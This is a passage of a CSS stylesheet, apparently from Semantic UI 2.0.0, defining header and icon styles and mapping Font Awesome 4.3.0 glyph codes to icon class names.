vertical-align: top;\n}\n\n/* After Image */\n\n.ui.header > img + .content,\n.ui.header > .image + .content {\n  padding-left: 0.75rem;\n  vertical-align: middle;\n}\n\n/* After Icon */\n\n.ui.header > .icon + .content {\n  padding-left: 0.75rem;\n  display: table-cell;\n  vertical-align: middle;\n}\n\n/*--------------\n Loose Coupling\n---------------*/\n\n.ui.header .ui.label {\n  font-size: '';\n  margin-left: 0.5rem;\n  vertical-align: middle;\n}\n\n/* Positioning */\n\n.ui.header + p {\n  margin-top: 0em;\n}\n\n/*******************************\n            Types\n*******************************/\n\n/*--------------\n     Page\n---------------*/\n\nh1.ui.header {\n  font-size: 2rem;\n}\n\nh2.ui.header {\n  font-size: 1.714rem;\n}\n\nh3.ui.header {\n  font-size: 1.28rem;\n}\n\nh4.ui.header {\n  font-size: 1.071rem;\n}\n\nh5.ui.header {\n  font-size: 1rem;\n}\n\n/* Sub Header */\n\nh1.ui.header .sub.header {\n  font-size: 1.14285714rem;\n}\n\nh2.ui.header .sub.header {\n  font-size: 1.14285714rem;\n}\n\nh3.ui.header .sub.header {\n  font-size: 1rem;\n}\n\nh4.ui.header .sub.header {\n  font-size: 1rem;\n}\n\nh5.ui.header .sub.header {\n  font-size: 0.92857143rem;\n}\n\n/*--------------\n Content Heading\n---------------*/\n\n.ui.huge.header {\n  min-height: 1em;\n  font-size: 2em;\n}\n\n.ui.large.header {\n  font-size: 1.714em;\n}\n\n.ui.medium.header {\n  font-size: 1.28em;\n}\n\n.ui.small.header {\n  font-size: 1.071em;\n}\n\n.ui.tiny.header {\n  font-size: 1em;\n}\n\n/* Sub Header */\n\n.ui.huge.header .sub.header {\n  font-size: 1.14285714rem;\n}\n\n.ui.large.header .sub.header {\n  font-size: 1.14285714rem;\n}\n\n.ui.header .sub.header {\n  font-size: 1rem;\n}\n\n.ui.small.header .sub.header {\n  font-size: 1rem;\n}\n\n.ui.tiny.header .sub.header {\n  font-size: 0.92857143rem;\n}\n\n/*--------------\n   Sub Heading\n---------------*/\n\n.ui.sub.header {\n  padding: 0em;\n  margin-bottom: 0.14285714rem;\n  font-weight: bold;\n  font-size: 0.85714286em;\n  text-transform: uppercase;\n  color: '';\n}\n\n.ui.small.sub.header {\n  font-size: 0.71428571em;\n}\n\n.ui.sub.header {\n  font-size: 0.85714286em;\n}\n\n.ui.large.sub.header {\n  font-size: 0.92857143em;\n}\n\n.ui.huge.sub.header {\n  font-size: 1em;\n}\n\n/*-------------------\n        Icon\n--------------------*/\n\n.ui.icon.header {\n  display: inline-block;\n  text-align: center;\n  margin: 2rem 0em 1rem;\n}\n\n.ui.icon.header:after {\n  content: '';\n  display: block;\n  height: 0px;\n  clear: both;\n  visibility: hidden;\n}\n\n.ui.icon.header:first-child {\n  margin-top: 0em;\n}\n\n.ui.icon.header .icon {\n  float: none;\n  display: block;\n  width: auto;\n  height: auto;\n  line-height: 1;\n  padding: 0em;\n  font-size: 3em;\n  margin: 0em auto 0.5rem;\n  opacity: 1;\n}\n\n.ui.icon.header .content {\n  display: block;\n}\n\n.ui.icon.header .circular.icon {\n  font-size: 2em;\n}\n\n.ui.icon.header .square.icon {\n  font-size: 2em;\n}\n\n.ui.block.icon.header .icon {\n  margin-bottom: 0em;\n}\n\n.ui.icon.header.aligned {\n  margin-left: auto;\n  margin-right: auto;\n  display: block;\n}\n\n/*******************************\n            States\n*******************************/\n\n.ui.disabled.header {\n  opacity: 0.45;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*-------------------\n      Inverted\n--------------------*/\n\n.ui.inverted.header {\n  color: #ffffff;\n}\n\n.ui.inverted.header .sub.header {\n  color: rgba(255, 255, 255, 0.8);\n}\n\n.ui.inverted.attached.header {\n  background: #545454 -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  background: #545454 linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  box-shadow: none;\n  border-color: transparent;\n}\n\n.ui.inverted.block.header {\n  background: #545454 -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  background: #545454 linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  box-shadow: none;\n}\n\n.ui.inverted.block.header {\n  border-bottom: none;\n}\n\n/*-------------------\n       Colors\n--------------------*/\n\n/*--- Red ---*/\n\n.ui.red.header {\n  color: #db2828 !important;\n}\n\na.ui.red.header:hover {\n  color: #d01919 !important;\n}\n\n.ui.red.dividing.header {\n  border-bottom: 2px solid #db2828;\n}\n\n/* Inverted */\n\n.ui.inverted.red.header {\n  color: #ff695e !important;\n}\n\na.ui.inverted.red.header:hover {\n  color: #ff5144 !important;\n}\n\n/*--- Orange ---*/\n\n.ui.orange.header {\n  color: #f2711c !important;\n}\n\na.ui.orange.header:hover {\n  color: #f26202 !important;\n}\n\n.ui.orange.dividing.header {\n  border-bottom: 2px solid #f2711c;\n}\n\n/* Inverted */\n\n.ui.inverted.orange.header {\n  color: #ff851b !important;\n}\n\na.ui.inverted.orange.header:hover {\n  color: #ff7701 !important;\n}\n\n/*--- Olive ---*/\n\n.ui.olive.header {\n  color: #b5cc18 !important;\n}\n\na.ui.olive.header:hover {\n  color: #a7bd0d !important;\n}\n\n.ui.olive.dividing.header {\n  border-bottom: 2px solid #b5cc18;\n}\n\n/* Inverted */\n\n.ui.inverted.olive.header {\n  color: #d9e778 !important;\n}\n\na.ui.inverted.olive.header:hover {\n  color: #d8ea5c !important;\n}\n\n/*--- Yellow ---*/\n\n.ui.yellow.header {\n  color: #fbbd08 !important;\n}\n\na.ui.yellow.header:hover {\n  color: #eaae00 !important;\n}\n\n.ui.yellow.dividing.header {\n  border-bottom: 2px solid #fbbd08;\n}\n\n/* Inverted */\n\n.ui.inverted.yellow.header {\n  color: #ffe21f !important;\n}\n\na.ui.inverted.yellow.header:hover {\n  color: #ffdf05 !important;\n}\n\n/*--- Green ---*/\n\n.ui.green.header {\n  color: #21ba45 !important;\n}\n\na.ui.green.header:hover {\n  color: #16ab39 !important;\n}\n\n.ui.green.dividing.header {\n  border-bottom: 2px solid #21ba45;\n}\n\n/* Inverted */\n\n.ui.inverted.green.header {\n  color: #2ecc40 !important;\n}\n\na.ui.inverted.green.header:hover {\n  color: #22be34 !important;\n}\n\n/*--- Teal ---*/\n\n.ui.teal.header {\n  color: #00b5ad !important;\n}\n\na.ui.teal.header:hover {\n  color: #009c95 !important;\n}\n\n.ui.teal.dividing.header {\n  border-bottom: 2px solid #00b5ad;\n}\n\n/* Inverted */\n\n.ui.inverted.teal.header {\n  color: #6dffff !important;\n}\n\na.ui.inverted.teal.header:hover {\n  color: #54ffff !important;\n}\n\n/*--- Blue ---*/\n\n.ui.blue.header {\n  color: #2185d0 !important;\n}\n\na.ui.blue.header:hover {\n  color: #1678c2 !important;\n}\n\n.ui.blue.dividing.header {\n  border-bottom: 2px solid #2185d0;\n}\n\n/* Inverted */\n\n.ui.inverted.blue.header {\n  color: #54c8ff !important;\n}\n\na.ui.inverted.blue.header:hover {\n  color: #3ac0ff !important;\n}\n\n/*--- Violet ---*/\n\n.ui.violet.header {\n  color: #6435c9 !important;\n}\n\na.ui.violet.header:hover {\n  color: #5829bb !important;\n}\n\n.ui.violet.dividing.header {\n  border-bottom: 2px solid #6435c9;\n}\n\n/* Inverted */\n\n.ui.inverted.violet.header {\n  color: #a291fb !important;\n}\n\na.ui.inverted.violet.header:hover {\n  color: #8a73ff !important;\n}\n\n/*--- Purple ---*/\n\n.ui.purple.header {\n  color: #a333c8 !important;\n}\n\na.ui.purple.header:hover {\n  color: #9627ba !important;\n}\n\n.ui.purple.dividing.header {\n  border-bottom: 2px solid #a333c8;\n}\n\n/* Inverted */\n\n.ui.inverted.purple.header {\n  color: #dc73ff !important;\n}\n\na.ui.inverted.purple.header:hover {\n  color: #d65aff !important;\n}\n\n/*--- Pink ---*/\n\n.ui.pink.header {\n  color: #e03997 !important;\n}\n\na.ui.pink.header:hover {\n  color: #e61a8d !important;\n}\n\n.ui.pink.dividing.header {\n  border-bottom: 2px solid #e03997;\n}\n\n/* Inverted */\n\n.ui.inverted.pink.header {\n  color: #ff8edf !important;\n}\n\na.ui.inverted.pink.header:hover {\n  color: #ff74d8 !important;\n}\n\n/*--- Brown ---*/\n\n.ui.brown.header {\n  color: #a5673f !important;\n}\n\na.ui.brown.header:hover {\n  color: #975b33 !important;\n}\n\n.ui.brown.dividing.header {\n  border-bottom: 2px solid #a5673f;\n}\n\n/* Inverted */\n\n.ui.inverted.brown.header {\n  color: #d67c1c !important;\n}\n\na.ui.inverted.brown.header:hover {\n  color: #c86f11 !important;\n}\n\n/*--- Grey ---*/\n\n.ui.grey.header {\n  color: #767676 !important;\n}\n\na.ui.grey.header:hover {\n  color: #838383 !important;\n}\n\n.ui.grey.dividing.header {\n  border-bottom: 2px solid #767676;\n}\n\n/* Inverted */\n\n.ui.inverted.grey.header {\n  color: #dcddde !important;\n}\n\na.ui.inverted.grey.header:hover {\n  color: #cfd0d2 !important;\n}\n\n/*-------------------\n       Aligned\n--------------------*/\n\n.ui.left.aligned.header {\n  text-align: left;\n}\n\n.ui.right.aligned.header {\n  text-align: right;\n}\n\n.ui.centered.header,\n.ui.center.aligned.header {\n  text-align: center;\n}\n\n.ui.justified.header {\n  text-align: justify;\n}\n\n.ui.justified.header:after {\n  display: inline-block;\n  content: '';\n  width: 100%;\n}\n\n/*-------------------\n       Floated\n--------------------*/\n\n.ui.floated.header,\n.ui[class*=\"left floated\"].header {\n  float: left;\n  margin-top: 0em;\n  margin-right: 0.5em;\n}\n\n.ui[class*=\"right floated\"].header {\n  float: right;\n  margin-top: 0em;\n  margin-left: 0.5em;\n}\n\n/*-------------------\n       Fittted\n--------------------*/\n\n.ui.fitted.header {\n  padding: 0em;\n}\n\n/*-------------------\n      Dividing\n--------------------*/\n\n.ui.dividing.header {\n  padding-bottom: 0.21428571rem;\n  border-bottom: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.dividing.header .sub.header {\n  padding-bottom: 0.21428571rem;\n}\n\n.ui.dividing.header .icon {\n  margin-bottom: 0em;\n}\n\n.ui.inverted.dividing.header {\n  border-bottom-color: rgba(255, 255, 255, 0.1);\n}\n\n/*-------------------\n        Block\n--------------------*/\n\n.ui.block.header {\n  background: #f3f4f5;\n  padding: 0.71428571rem 1rem;\n  box-shadow: none;\n  border: 1px solid #d4d4d5;\n  border-radius: 0.28571429rem;\n}\n\n.ui.tiny.block.header {\n  font-size: 0.85714286rem;\n}\n\n.ui.small.block.header {\n  font-size: 0.92857143rem;\n}\n\n.ui.block.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6) {\n  font-size: 1rem;\n}\n\n.ui.large.block.header {\n  font-size: 1.14285714rem;\n}\n\n.ui.huge.block.header {\n  font-size: 1.42857143rem;\n}\n\n/*-------------------\n       Attached\n--------------------*/\n\n.ui.attached.header {\n  background: #ffffff;\n  padding: 0.71428571rem 1rem;\n  margin-left: -1px;\n  margin-right: -1px;\n  box-shadow: none;\n  border: 1px solid #d4d4d5;\n}\n\n.ui.attached.block.header {\n  background: #f3f4f5;\n}\n\n.ui.attached:not(.top):not(.bottom).header {\n  margin-top: 0em;\n  margin-bottom: 0em;\n  border-top: none;\n  border-bottom: none;\n  border-radius: 0em;\n}\n\n.ui.top.attached.header {\n  margin-bottom: 0em;\n  border-bottom: none;\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n.ui.bottom.attached.header {\n  margin-top: 0em;\n  border-top: none;\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n/* Attached Sizes */\n\n.ui.tiny.attached.header {\n  font-size: 0.85714286em;\n}\n\n.ui.small.attached.header {\n  font-size: 0.92857143em;\n}\n\n.ui.attached.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6) {\n  font-size: 1em;\n}\n\n.ui.large.attached.header {\n  font-size: 1.14285714em;\n}\n\n.ui.huge.attached.header {\n  font-size: 1.42857143em;\n}\n\n/*-------------------\n        Sizing\n--------------------*/\n\n.ui.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6) {\n  font-size: 1.28em;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Icon\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n             Icon\n*******************************/\n\n@font-face {\n  font-family: 'Icons';\n  src: url(\"themes/default/assets/fonts/icons.eot\");\n  src: url(\"themes/default/assets/fonts/icons.eot?#iefix\") format('embedded-opentype'), url(\"themes/default/assets/fonts/icons.woff2\") format('woff2'), url(\"themes/default/assets/fonts/icons.woff\") format('woff'), url(\"themes/default/assets/fonts/icons.ttf\") format('truetype'), url(\"themes/default/assets/fonts/icons.svg#icons\") format('svg');\n  font-style: normal;\n  font-weight: normal;\n  font-variant: normal;\n  text-decoration: inherit;\n  text-transform: none;\n}\n\ni.icon {\n  display: inline-block;\n  opacity: 1;\n  margin: 0em 0.25rem 0em 0em;\n  width: 1.18em;\n  height: 1em;\n  font-family: 'Icons';\n  font-style: normal;\n  font-weight: normal;\n  text-decoration: inherit;\n  text-align: center;\n  speak: none;\n  font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n  -webkit-font-smoothing: antialiased;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n}\n\ni.icon:before {\n  background: none !important;\n}\n\n/*******************************\n             Types\n*******************************/\n\n/*--------------\n    Loading\n---------------*/\n\ni.icon.loading {\n  height: 1em;\n  line-height: 1;\n  -webkit-animation: icon-loading 2s linear infinite;\n  animation: icon-loading 2s linear infinite;\n}\n\n@-webkit-keyframes icon-loading {\n  from {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n\n@keyframes icon-loading {\n  from {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n\n/*******************************\n             States\n*******************************/\n\ni.icon.hover {\n  opacity: 1;\n}\n\ni.icon.active {\n  opacity: 1;\n}\n\ni.emphasized.icon {\n  opacity: 1;\n}\n\ni.disabled.icon {\n  opacity: 0.45 !important;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*-------------------\n         Link\n--------------------*/\n\ni.link.icon {\n  cursor: pointer;\n  opacity: 0.8;\n  -webkit-transition: opacity 0.1s ease;\n  transition: opacity 0.1s ease;\n}\n\ni.link.icon:hover {\n  opacity: 1 !important;\n}\n\n/*-------------------\n      Circular\n--------------------*/\n\ni.circular.icon {\n  border-radius: 500em !important;\n  line-height: 1 !important;\n  padding: 0.5em 0.5em !important;\n  box-shadow: 0em 0em 0em 0.1em rgba(0, 0, 0, 0.1) inset;\n  width: 2em !important;\n  height: 2em !important;\n}\n\ni.circular.inverted.icon {\n  border: none;\n  box-shadow: none;\n}\n\n/*-------------------\n      Flipped\n--------------------*/\n\ni.flipped.icon,\ni.horizontally.flipped.icon {\n  -webkit-transform: scale(-1, 1);\n  -ms-transform: scale(-1, 1);\n  transform: scale(-1, 1);\n}\n\ni.vertically.flipped.icon {\n  -webkit-transform: scale(1, -1);\n  -ms-transform: scale(1, -1);\n  transform: scale(1, -1);\n}\n\n/*-------------------\n      Rotated\n--------------------*/\n\ni.rotated.icon,\ni.right.rotated.icon,\ni.clockwise.rotated.icon {\n  -webkit-transform: rotate(90deg);\n  -ms-transform: rotate(90deg);\n  transform: rotate(90deg);\n}\n\ni.left.rotated.icon,\ni.counterclockwise.rotated.icon {\n  -webkit-transform: rotate(-90deg);\n  -ms-transform: rotate(-90deg);\n  transform: rotate(-90deg);\n}\n\n/*-------------------\n      Bordered\n--------------------*/\n\ni.bordered.icon {\n  line-height: 1;\n  vertical-align: baseline;\n  width: 2em;\n  height: 2em;\n  padding: 0.5em 0.41em !important;\n  box-shadow: 0em 0em 0em 0.1em rgba(0, 0, 0, 0.1) inset;\n}\n\ni.bordered.inverted.icon {\n  border: none;\n  box-shadow: none;\n}\n\n/*-------------------\n      Inverted\n--------------------*/\n\n/* Inverted Shapes */\n\ni.inverted.bordered.icon,\ni.inverted.circular.icon {\n  background-color: #1b1c1d !important;\n  color: #ffffff !important;\n}\n\ni.inverted.icon {\n  color: #ffffff;\n}\n\n/*-------------------\n       Colors\n--------------------*/\n\n/* Red */\n\ni.red.icon {\n  color: #db2828 !important;\n}\n\ni.inverted.red.icon {\n  color: #ff695e !important;\n}\n\ni.inverted.bordered.red.icon,\ni.inverted.circular.red.icon {\n  background-color: #db2828 !important;\n  color: #ffffff !important;\n}\n\n/* Orange */\n\ni.orange.icon {\n  color: #f2711c !important;\n}\n\ni.inverted.orange.icon {\n  color: #ff851b !important;\n}\n\ni.inverted.bordered.orange.icon,\ni.inverted.circular.orange.icon {\n  background-color: #f2711c !important;\n  color: #ffffff !important;\n}\n\n/* Yellow */\n\ni.yellow.icon {\n  color: #fbbd08 !important;\n}\n\ni.inverted.yellow.icon {\n  color: #ffe21f !important;\n}\n\ni.inverted.bordered.yellow.icon,\ni.inverted.circular.yellow.icon {\n  background-color: #fbbd08 !important;\n  color: #ffffff !important;\n}\n\n/* Olive */\n\ni.olive.icon {\n  color: #b5cc18 !important;\n}\n\ni.inverted.olive.icon {\n  color: #d9e778 !important;\n}\n\ni.inverted.bordered.olive.icon,\ni.inverted.circular.olive.icon {\n  background-color: #b5cc18 !important;\n  color: #ffffff !important;\n}\n\n/* Green */\n\ni.green.icon {\n  color: #21ba45 !important;\n}\n\ni.inverted.green.icon {\n  color: #2ecc40 !important;\n}\n\ni.inverted.bordered.green.icon,\ni.inverted.circular.green.icon {\n  background-color: #21ba45 !important;\n  color: #ffffff !important;\n}\n\n/* Teal */\n\ni.teal.icon {\n  color: #00b5ad !important;\n}\n\ni.inverted.teal.icon {\n  color: #6dffff !important;\n}\n\ni.inverted.bordered.teal.icon,\ni.inverted.circular.teal.icon {\n  background-color: #00b5ad !important;\n  color: #ffffff !important;\n}\n\n/* Blue */\n\ni.blue.icon {\n  color: #2185d0 !important;\n}\n\ni.inverted.blue.icon {\n  color: #54c8ff !important;\n}\n\ni.inverted.bordered.blue.icon,\ni.inverted.circular.blue.icon {\n  background-color: #2185d0 !important;\n  color: #ffffff !important;\n}\n\n/* Violet */\n\ni.violet.icon {\n  color: #6435c9 !important;\n}\n\ni.inverted.violet.icon {\n  color: #a291fb !important;\n}\n\ni.inverted.bordered.violet.icon,\ni.inverted.circular.violet.icon {\n  background-color: #6435c9 !important;\n  color: #ffffff !important;\n}\n\n/* Purple */\n\ni.purple.icon {\n  color: #a333c8 !important;\n}\n\ni.inverted.purple.icon {\n  color: #dc73ff !important;\n}\n\ni.inverted.bordered.purple.icon,\ni.inverted.circular.purple.icon {\n  background-color: #a333c8 !important;\n  color: #ffffff !important;\n}\n\n/* Pink */\n\ni.pink.icon {\n  color: #e03997 !important;\n}\n\ni.inverted.pink.icon {\n  color: #ff8edf !important;\n}\n\ni.inverted.bordered.pink.icon,\ni.inverted.circular.pink.icon {\n  background-color: #e03997 !important;\n  color: #ffffff !important;\n}\n\n/* Brown */\n\ni.brown.icon {\n  color: #a5673f !important;\n}\n\ni.inverted.brown.icon {\n  color: #d67c1c !important;\n}\n\ni.inverted.bordered.brown.icon,\ni.inverted.circular.brown.icon {\n  background-color: #a5673f !important;\n  color: #ffffff !important;\n}\n\n/* Grey */\n\ni.grey.icon {\n  color: #767676 !important;\n}\n\ni.inverted.grey.icon {\n  color: #dcddde !important;\n}\n\ni.inverted.bordered.grey.icon,\ni.inverted.circular.grey.icon {\n  background-color: #767676 !important;\n  color: #ffffff !important;\n}\n\n/*-------------------\n        Sizes\n--------------------*/\n\ni.small.icon,\ni.small.icons {\n  line-height: 1;\n  font-size: 0.92857143em;\n}\n\ni.icon,\ni.icons {\n  font-size: 1em;\n}\n\ni.large.icon,\ni.large.icons {\n  line-height: 1;\n  vertical-align: middle;\n  font-size: 1.5em;\n}\n\ni.big.icon,\ni.big.icons {\n  line-height: 1;\n  vertical-align: middle;\n  font-size: 2em;\n}\n\ni.huge.icon,\ni.huge.icons {\n  line-height: 1;\n  vertical-align: middle;\n  font-size: 4em;\n}\n\ni.massive.icon,\ni.massive.icons {\n  line-height: 1;\n  vertical-align: middle;\n  font-size: 8em;\n}\n\n/*******************************\n            Groups\n*******************************/\n\ni.icons {\n  display: inline-block;\n  position: relative;\n  line-height: 1;\n}\n\ni.icons .icon {\n  position: absolute;\n  top: 50%;\n  left: 50%;\n  -webkit-transform: translateX(-50%) translateY(-50%);\n  -ms-transform: translateX(-50%) translateY(-50%);\n  transform: translateX(-50%) translateY(-50%);\n  margin: 0em;\n  margin: 0;\n}\n\ni.icons .icon:first-child {\n  position: static;\n  width: auto;\n  height: auto;\n  vertical-align: top;\n  -webkit-transform: none;\n  -ms-transform: none;\n  transform: none;\n  margin-right: 0.25rem;\n}\n\n/* Corner Icon */\n\ni.icons .corner.icon {\n  top: auto;\n  left: auto;\n  right: 0;\n  bottom: 0;\n  -webkit-transform: none;\n  -ms-transform: none;\n  transform: none;\n  font-size: 0.45em;\n  text-shadow: -1px -1px 0 #ffffff, 1px -1px 0 #ffffff, -1px 1px 0 #ffffff, 1px 1px 0 #ffffff;\n}\n\ni.icons .inverted.corner.icon {\n  text-shadow: -1px -1px 0 #1b1c1d, 1px -1px 0 #1b1c1d, -1px 1px 0 #1b1c1d, 1px 1px 0 #1b1c1d;\n}\n\n/*\n * Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome\n * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)\n */\n\n/*******************************\n\nSemantic-UI integration of font-awesome :\n\n///class names are separated\ni.icon.circle => i.icon.circle\ni.icon.circle-o => i.icon.circle.outline\n\n//abbreviation are replaced by full letters:\ni.icon.ellipsis-h => i.icon.ellipsis.horizontal\ni.icon.ellipsis-v => i.icon.ellipsis.vertical\n.alpha => .i.icon.alphabet\n.asc => .i.icon.ascending\n.desc => .i.icon.descending\n.alt =>.alternate\n\nASCII order is conserved for easier maintenance.\n\nIcons that only have one style 'outline', 'square' etc do not require this class\nfor instance `lemon icon` not `lemon outline icon` since there is only one lemon\n\n*******************************/\n\n/*******************************\n            Icons\n*******************************/\n\n/* Web Content */\n\ni.icon.search:before {\n  content: \"\\f002\";\n}\n\ni.icon.mail.outline:before {\n  content: \"\\f003\";\n}\n\ni.icon.external:before {\n  content: \"\\f08e\";\n}\n\ni.icon.signal:before {\n  content: \"\\f012\";\n}\n\ni.icon.setting:before {\n  content: \"\\f013\";\n}\n\ni.icon.home:before {\n  content: \"\\f015\";\n}\n\ni.icon.inbox:before {\n  content: \"\\f01c\";\n}\n\ni.icon.browser:before {\n  content: \"\\f022\";\n}\n\ni.icon.tag:before {\n  content: \"\\f02b\";\n}\n\ni.icon.tags:before {\n  content: \"\\f02c\";\n}\n\ni.icon.calendar:before {\n  content: \"\\f073\";\n}\n\ni.icon.comment:before {\n  content: \"\\f075\";\n}\n\ni.icon.comments:before {\n  content: \"\\f086\";\n}\n\ni.icon.shop:before {\n  content: \"\\f07a\";\n}\n\ni.icon.privacy:before {\n  content: \"\\f084\";\n}\n\ni.icon.settings:before {\n  content: \"\\f085\";\n}\n\ni.icon.trophy:before {\n  content: \"\\f091\";\n}\n\ni.icon.payment:before {\n  content: \"\\f09d\";\n}\n\ni.icon.feed:before {\n  content: \"\\f09e\";\n}\n\ni.icon.alarm.outline:before {\n  content: \"\\f0a2\";\n}\n\ni.icon.tasks:before {\n  content: \"\\f0ae\";\n}\n\ni.icon.cloud:before {\n  content: \"\\f0c2\";\n}\n\ni.icon.lab:before {\n  content: \"\\f0c3\";\n}\n\ni.icon.mail:before {\n  content: \"\\f0e0\";\n}\n\ni.icon.idea:before {\n  content: \"\\f0eb\";\n}\n\ni.icon.dashboard:before {\n  content: \"\\f0e4\";\n}\n\ni.icon.sitemap:before {\n  content: \"\\f0e8\";\n}\n\ni.icon.alarm:before {\n  content: \"\\f0f3\";\n}\n\ni.icon.terminal:before {\n  content: \"\\f120\";\n}\n\ni.icon.code:before {\n  content: \"\\f121\";\n}\n\ni.icon.protect:before {\n  content: \"\\f132\";\n}\n\ni.icon.calendar.outline:before {\n  content: \"\\f133\";\n}\n\ni.icon.ticket:before {\n  content: \"\\f145\";\n}\n\ni.icon.external.square:before {\n  content: \"\\f14c\";\n}\n\ni.icon.map:before {\n  content: \"\\f14e\";\n}\n\ni.icon.bug:before {\n  content: \"\\f188\";\n}\n\ni.icon.mail.square:before {\n  content: \"\\f199\";\n}\n\ni.icon.history:before {\n  content: \"\\f1da\";\n}\n\ni.icon.options:before {\n  content: \"\\f1de\";\n}\n\ni.icon.comment.outline:before {\n  content: \"\\f0e5\";\n}\n\ni.icon.comments.outline:before {\n  content: \"\\f0e6\";\n}\n\ni.icon.text.telephone:before {\n  content: \"\\f1e4\";\n}\n\ni.icon.find:before {\n  content: \"\\f1e5\";\n}\n\ni.icon.wifi:before {\n  content: \"\\f1eb\";\n}\n\ni.icon.alarm.slash:before {\n  content: \"\\f1f6\";\n}\n\ni.icon.alarm.slash.outline:before {\n  content: \"\\f1f7\";\n}\n\ni.icon.copyright:before {\n  content: \"\\f1f9\";\n}\n\ni.icon.at:before {\n  content: \"\\f1fa\";\n}\n\ni.icon.eyedropper:before {\n  content: \"\\f1fb\";\n}\n\ni.icon.paint.brush:before {\n  content: \"\\f1fc\";\n}\n\ni.icon.heartbeat:before {\n  content: \"\\f21e\";\n}\n\n/* User Actions */\n\ni.icon.download:before {\n  content: \"\\f019\";\n}\n\ni.icon.repeat:before {\n  content: \"\\f01e\";\n}\n\ni.icon.refresh:before {\n  content: \"\\f021\";\n}\n\ni.icon.lock:before {\n  content: \"\\f023\";\n}\n\ni.icon.bookmark:before {\n  content: \"\\f02e\";\n}\n\ni.icon.print:before {\n  content: \"\\f02f\";\n}\n\ni.icon.write:before {\n  content: \"\\f040\";\n}\n\ni.icon.theme:before {\n  content: \"\\f043\";\n}\n\ni.icon.adjust:before {\n  content: \"\\f042\";\n}\n\ni.icon.edit:before {\n  content: \"\\f044\";\n}\n\ni.icon.external.share:before {\n  content: \"\\f045\";\n}\n\ni.icon.ban:before {\n  content: \"\\f05e\";\n}\n\ni.icon.mail.forward:before {\n  content: \"\\f064\";\n}\n\ni.icon.share:before {\n  content: \"\\f064\";\n}\n\ni.icon.expand:before {\n  content: \"\\f065\";\n}\n\ni.icon.compress:before {\n  content: \"\\f066\";\n}\n\ni.icon.unhide:before {\n  content: \"\\f06e\";\n}\n\ni.icon.hide:before {\n  content: \"\\f070\";\n}\n\ni.icon.random:before {\n  content: \"\\f074\";\n}\n\ni.icon.retweet:before {\n  content: \"\\f079\";\n}\n\ni.icon.sign.out:before {\n  content: \"\\f08b\";\n}\n\ni.icon.pin:before {\n  content: \"\\f08d\";\n}\n\ni.icon.sign.in:before {\n  content: \"\\f090\";\n}\n\ni.icon.upload:before {\n  content: \"\\f093\";\n}\n\ni.icon.call:before {\n  content: \"\\f095\";\n}\n\ni.icon.call.square:before {\n  content: \"\\f098\";\n}\n\ni.icon.remove.bookmark:before {\n  content: \"\\f097\";\n}\n\ni.icon.unlock:before {\n  content: \"\\f09c\";\n}\n\ni.icon.configure:before {\n  content: \"\\f0ad\";\n}\n\ni.icon.filter:before {\n  content: \"\\f0b0\";\n}\n\ni.icon.wizard:before {\n  content: \"\\f0d0\";\n}\n\ni.icon.undo:before {\n  content: \"\\f0e2\";\n}\n\ni.icon.exchange:before {\n  content: \"\\f0ec\";\n}\n\ni.icon.cloud.download:before {\n  content: \"\\f0ed\";\n}\n\ni.icon.cloud.upload:before {\n  content: \"\\f0ee\";\n}\n\ni.icon.reply:before {\n  content: \"\\f112\";\n}\n\ni.icon.reply.all:before {\n  content: \"\\f122\";\n}\n\ni.icon.erase:before {\n  content: \"\\f12d\";\n}\n\ni.icon.unlock.alternate:before {\n  content: \"\\f13e\";\n}\n\ni.icon.archive:before {\n  content: \"\\f187\";\n}\n\ni.icon.translate:before {\n  content: \"\\f1ab\";\n}\n\ni.icon.recycle:before {\n  content: \"\\f1b8\";\n}\n\ni.icon.send:before {\n  content: \"\\f1d8\";\n}\n\ni.icon.send.outline:before {\n  content: \"\\f1d9\";\n}\n\ni.icon.share.alternate:before {\n  content: \"\\f1e0\";\n}\n\ni.icon.share.alternate.square:before {\n  content: \"\\f1e1\";\n}\n\ni.icon.wait:before {\n  content: \"\\f017\";\n}\n\ni.icon.write.square:before {\n  content: \"\\f14b\";\n}\n\ni.icon.share.square:before {\n  content: \"\\f14d\";\n}\n\ni.icon.add.to.cart:before {\n  content: \"\\f217\";\n}\n\ni.icon.in.cart:before {\n  content: \"\\f218\";\n}\n\ni.icon.add.user:before {\n  content: \"\\f234\";\n}\n\ni.icon.remove.user:before {\n  content: \"\\f235\";\n}\n\n/* Messages */\n\ni.icon.help.circle:before {\n  content: \"\\f059\";\n}\n\ni.icon.info.circle:before {\n  content: \"\\f05a\";\n}\n\ni.icon.warning:before {\n  content: \"\\f12a\";\n}\n\ni.icon.warning.circle:before {\n  content: \"\\f06a\";\n}\n\ni.icon.warning.sign:before {\n  content: \"\\f071\";\n}\n\ni.icon.help:before {\n  content: \"\\f128\";\n}\n\ni.icon.info:before {\n  content: \"\\f129\";\n}\n\ni.icon.announcement:before {\n  content: \"\\f0a1\";\n}\n\ni.icon.birthday:before {\n  content: \"\\f1fd\";\n}\n\n/* Users */\n\ni.icon.users:before {\n  content: 